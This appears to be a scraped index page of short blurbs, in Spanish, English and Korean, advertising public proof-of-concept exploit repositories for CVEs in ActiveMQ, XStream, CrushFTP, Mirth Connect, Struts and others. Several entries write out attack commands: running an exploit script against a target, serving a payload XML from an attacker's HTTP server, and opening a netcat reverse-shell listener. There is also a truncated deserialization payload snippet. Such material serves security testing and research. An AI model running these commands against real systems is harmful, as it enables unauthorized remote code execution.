CVE-2020-26217-XStream-RCE-POC

CVE-2020-26217-XStream-RCE-POC e.g root@kitploit: package org.example; import com.thoughtworks.xstream.XStream; import java.io.IOException; public class CVE202026217 public static void mainString args throws IOException XStream xStream = new XStream; String payload = "\n" + " \n" + " \n" + " 0\n"...

CVE-2022-2414

EN GenXMLExternalEntityExploit es un script PoC para demostrar la explotación de una vulnerabilidad de Inclusión de Entidades Externas XML XXE. El script aprovecha cargas útiles XML para leer archivos confidenciales de un servidor objetivo. Puede ser útil para pruebas de seguridad, pruebas de...

CVE-2019-16941

CVE-2019-16941 Proof-of-Concept: The vulnerability requires multiple and relatively improbable conditions in order to get triggered, fact that limits its exploitability. However, it takes little effort and understanding to prepare a payload given the fact that it can result into an arbitrary code...

CVE-2026-63077

Unauthenticated Remote Code Execution in JetBrains TeamCity CVE-2026-63077 Overview This is a proof-of-concept exploit script for CVE-2026-63077. Organizations can use this script to validate their detection and remediation posture. For a full technical analysis of CVE-2026-63077, please read our...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Referencia del proyecto Este proyecto es una versión python del exp, reescrita a partir del exp del proyecto https://github.com/X1r0z/ActiveMQ-RCE. Uso root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 El parámetro -p tiene como valor predetermina...

CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ Este exploit se basa en el trabajo fundacional disponible en https://github.com/X1cT34m https://github.com/X1r0z/ActiveMQ-RCE. Hemos desarrollado más a fondo la técnica para lograr una reverse shell utilizando Metasploit Framework...

ShatteredFTP

Explotador Dual ShatteredFTP Descripción general Este script de exploit se dirige a vulnerabilidades en el proceso de creación/autenticación de usuarios de CrushFTP, ofreciendo soporte de modo dual: CVE-2025-2825 Explota una falla en el manejo de payloads XML durante la creación de usuarios...

St2-052

S2-052 POC Testing Original title: Tomcat Deploying war Original article: http://blog.csdn.net/caiqiiqi/article/details/77861477 Download the last affected version struts-2.5.12 from the Struts2 official website: http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip Note that you on...

CVE-2019-19871-AuditGuide

Actualización 22-01-2020 Ahora existe una herramienta de FireEye que ayudará a escanear estos elementos a continuación. La clave es que necesitas tener suficientes registros para retroceder hasta el 09-01-2020 para tener la oportunidad de ver qué se hizo más allá de que se ejecutó el exploit. Si...

CVE-2023-46604

CVE-2023-46604 Construir docker-compose que contenga 2 imágenes: la máquina víctima y la máquina objetivo según el entorno requerido En la máquina víctima, iniciar ActiveMQ Cambiar a la máquina atacante: • Abrir el servicio HTTP para enviar el PoC: python3 -m http.server • Usar netcat para escuch...

ppsx-file-generator

Introducción Por Temesgen Yibeltal [email protected] Basado en el código de https://github.com/bhdresh/CVE-2017-8570 ahora eliminado ppsx-file-generator es una herramienta Python que genera un archivo de presentación de diapositivas de Power Point que ejecuta código desde una fuente remota...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Python implementation of Apache ActiveMQ Unauthenticated Remote Code Execution Setup & Exploit nc -lvnp 4444 - Start Listener python3 -m http.server 8080 - Host poc.xml that contain your payload python3 CVE-2023-46604-RCE.py -i -p -u http://:8080/poc.xml - Start exploit...

CVE-2023-43208

CVE-2023-43208 Mirth Connect RCE PoC Mirth Connect의 CVE-2023-43208 을 대상으로 하는 개념 증명PoC Python 스크립트입니다. 면책 조항 소유하고 있거나 명시적으로 테스트할 권한이 있는 환경에서만 사용하세요. 이 저장소는 보안 연구, 검증, 방어적 테스트를 위한 것입니다. 저자는 이 도구로 인한 오용 또는 피해에 대해 책임을 지지 않습니다. 개요 exp.py는 PoC의 최소 의존성 버전으로, 다음과 같은 기능을 수행합니다: 대상이 Mirth Connect 인스턴스로 보이는...

CVE-2026-34197

CVE-2026-34197 ActiveMQ Classic Lab This repository contains a local lab for studying CVE-2026-34197 in Apache ActiveMQ Classic and for comparing a vulnerable instance against a patched build. The repository is organized to support two goals: Reproduce the issue in a tightly controlled, isolated...

CVE-2021-38647

CVE-2021-38647 Este es un POC para CVE-2021-38647 : Envía una solicitud POST a /wsman con el contenido de payload.xml y solo cambia el comando por el que desees, Como POC, solo se ejecuta el comando id. Fuente: https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure Sígueme si te gus...

CVE-2025-31161

CVE-2025-31161 - Exploit de omisión de autenticación en creación de usuario de CrushFTP 📌 Descripción Este exploit de Python ataca servidores CrushFTP vulnerables a CVE-2025-31161. La vulnerabilidad permite la creación de cuentas de usuario no autenticadas mediante el envío de un payload XML...

CVE-2023-43208_Detection_PoC

CVE-2023-43208DetectionPoC Usar java.net.InetAddress para la detección root@kitploit: POST /api/users HTTP/1.1 Host: ip:8443 User-Agent: Mozilla/5.0 X11; CrOS x8664 14541.0.0 AppleWebKit/537.36 KHTML, like Gecko Chrome/120.0.0.0 Safari/537.36 Connection: keep-alive Content-Length: 1964...

CVE-2023-46604

CVE-2023-46604 Construir docker-compose que contenga 2 imágenes: la máquina víctima y la máquina objetivo según el entorno requerido. En la máquina víctima, iniciar ActiveMQ. Cambiar a la máquina atacante: • Iniciar un servicio HTTP para enviar el PoC: python3 -m http.server • Usar netcat para...

CVE-2026-79572

An XXE XML External Entity vulnerability in the level-rule module of Distribution Management v1.0.0 allows attackers to read sensitive files, scan internal networks, or launch server attacks via supplying a crafted XML payload...

CVE-2026-79572

CVE-2026-79572 is an XXE (XML External Entity) vulnerability in the level-rule module of Distribution Management v1.0.0 . By supplying a crafted XML payload, an unauthenticated network attacker can read sensitive files , scan internal networks , or launch server-side attacks (e.g., SSRF). The CNA...